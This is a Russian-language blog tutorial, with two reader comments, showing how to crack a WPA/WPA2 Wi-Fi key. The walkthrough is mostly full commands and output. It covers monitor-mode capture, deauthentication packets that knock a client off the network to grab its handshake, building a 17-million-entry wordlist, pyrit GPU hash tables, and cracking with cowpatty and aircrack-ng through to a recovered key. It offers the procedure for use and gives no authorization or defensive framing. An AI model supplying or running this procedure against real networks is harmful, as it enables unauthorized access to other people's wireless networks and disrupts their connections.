Завершив со всеми приготовлениями - приступаем непосредственно к "бруту", точнее сначала нам нужно заполучить "заветный" cap файл с "handshake" клиента с точкой доступа.
Переводим нашу беспроводную карточку в "беспорядочный " режим, я использую USB Dlink Dwl - G122.
# ifconfig wlan1 up # airmon-ng start wlan1
Определяемся с точкой доступа, клиентом и каналом на котором вещает AP. Определившись - запукскаем airmon-ng на нужном нам канале и с этим же номером канала запускаем airodump-ng.
# airmon-ng stop wlan1 # airmon-ng start wlan1 6 (6- в нашем случае номер канала) # airodump-ng -w cudacapture mon0 --channel 6
Как можем наблюдать, мы имеем одну точку доступа и одного клиента, у нас есть 2 пути, чтобы заполучить handshake - это либо дождаться когда какой то клиент подключиться и перехватить его сессию аутентификации, либо "насильным" образом :) сделать так, чтобы клиента "вышибло" из сети а потом завладеть сессией аутентификации, идем по второму пути.
# aireplay-ng -0 20 -a 0X:1X:7e:fX:aX:8X -c 0X:1X:0X:aX:dX:5X mon1 01:13:28 Waiting for beacon frame (BSSID: 00:1D:7E:F0:A5:8F) on channel 6 01:13:29 Sending 64 directed DeAuth. STMAC: [0X:1X:0X:AX:DX:5X] [25|68 ACKs] 01:13:30 Sending 64 directed DeAuth. STMAC: [0X:1X:0X:AX:DX:5X] [ 3|63 ACKs]
20 - число пакетов деаутентификации, параметр можно варьировать по желанию
a - MAC адрес точки доступа
c - MAC клиента.
Смотрим успешность наших действий:
# aircrack-ng cudacapture-01.cap Opening cudacapture-01.cap Read 5612 packets. # BSSID ESSID Encryption 1 0X:1X:7X:FX:AX:8X test WPA (1 handshake)
Видим, что перехватили одно рукопожатие, отлично ! :)
Переходим к словарю для брута, используем готовый или качаем, в сети их полно, я использовал свой сгенерированный с помощью passwords pro. Обьем его вышел 134мб, а слов и комбинаций символов 17500000 :)
Приступаем к сортировке, кстати тоже самое можно проделать сразу в passwords pro.
# cat dic-0294.txt | sort | uniq | pw-inspector -m 8 -M 63 > wpa.lst # wc -l wpa.lst 17476540 wpa.lst
m - нижний порог парольной фразы, с этим параметром можно "поиграться", но увлекаться тоже не стоит, вдруг ключь всего 3 символа :)
Около 17476540 слов, теперь нам нужно добавить наш перехваченный ESSID для генерации хешей.
# python pyrit. -e test create_essid The Pyrit commandline-client (C) 2008 Lukas Lueg http://pyrit.googlecode.com This code is distributed under the GNU General Public License v3 Created ESSID 'test'
Импортируем наш новый wpa.lst
# pyrit -f /root/wpa.lst import_passwords The Pyrit commandline-client (C) 2008 Lukas Lueg http://pyrit.googlecode.com This code is distributed under the GNU General Public License v3 Importing from '/root/wpa.lst' 17454540 lines read. All done.
Генерируем таблицу хешей.
# pyrit batchprocess The Pyrit commandline-client (C) 2008 Lukas Lueg http://pyrit.googlecode.com This code is distributed under the GNU General Public License v3 Using default core 'Nvidia CUDA' (Device 'GeForce 9600m GS') Working on ESSID 'test' Batchprocessing done.
Pyrit имеет возможность вывода данных в формате таких утилит для брута, как cowpatty и airolib-ng. Cowpatty не принесла мне желаемого результата, долго "гуглив", то и дело я натыкался на похожие проблемы, что были у меня, а именно - Cowpatty не "хотела" обрабатывать cap ссылаясь на некорректность самого файла, поиски в интернете дали предположить, что встаки утилита так себя ведет при обработке файла полученного из сети использующей wpa2-aes.
Как приблизительно это может быть у вас:
# pyrit -e test -f cow.out export_cowpatty The Pyrit commandline-client (C) 2008 Lukas Lueg http://pyrit.googlecode.com This code is distributed under the GNU General Public License v3 Exporting to 'cow.out'... 4656218 entries written. All done.
Теперь "скармливаем" полученный файл непосредственно cowpatty.
# cd /pentest/password/oc-v0.7/cowpatty-v4.3/cowpatty/ root@bt:/pentest/password/oc-v0.7/cowpatty-v4.3/cowpatty# ./cowpatty -d /root/cow.out -s test -r /root/cudacapture-01.cap
Мой вариант. Я буду использовать airolib-ng и aircrack-ng.
Создаем базу данных формата sqlite.
# airolib-ng testdb -import essid test Database <testdb> does not already exist, creating it... Database <testdb> sucessfully created Could not open file/stream for reading.
Экспортируем наши хеши в базу.
# pyrit -e home -f testdb export_hashdb Pyrit 0.2.2 (C) 2008, 2009 Lukas Lueg http://pyrit.googlecode.com This code is distributed under the GNU General Public License v3 Exporting ESSID 'test'
Теперь собственно атака.
# aircrack-ng -r testdb /root/cudacapture-01.capУ меня aircrack-ng "выругался" в виду невозможности использования базы данных sqlite. Чтож, удаляем aircrack-ng и компилируем с поддержкой sqlite. Для этого переходим в каталог где собственно компилировался airckrack-ng и выполняем команды.
# make uninstall # cd .. # wget http://download.aircrack-ng.org/aircrack-ng-1.0-rc3.tar.gz # tar -zxvf aircrack-ng-1.0-rc3.tar.gz # cd aircrack-ng-1.0-rc3 # make sqlite=true # make sqlite=true install # aircrack-ng -r testdb /root/cudacapture-01.cap Reading packets, please wait... Aircrack-ng 1.0 rc3 [00:00:17] 1210943 keys tested (67254.59 k/s) KEY FOUND! [ yhbujnikm ] Master Key : BA 8D F1 6C CD 7B 08 A7 51 DC 60 14 F3 67 D1 82 13 E2 B0 58 61 1D 8C F9 0A 13 65 8B DA 9E A6 B5 Transient Key : 3E B2 CB D7 92 2A 6F 42 B5 16 D5 45 F7 70 0F 31 EAPOL HMAC : F5 D7 47 F5 7E 0F 92 D5 DD 15 00 EC 7E 98 BC FB Quitting aircrack-ng...
Вот собственно и все :)
Спасибо Э_L_A_Y за статью. Сайт тоже очень хорош. Мой респект – толковым людям.
Спасибо за отзыв, статья была написана уже давно и не для блога :)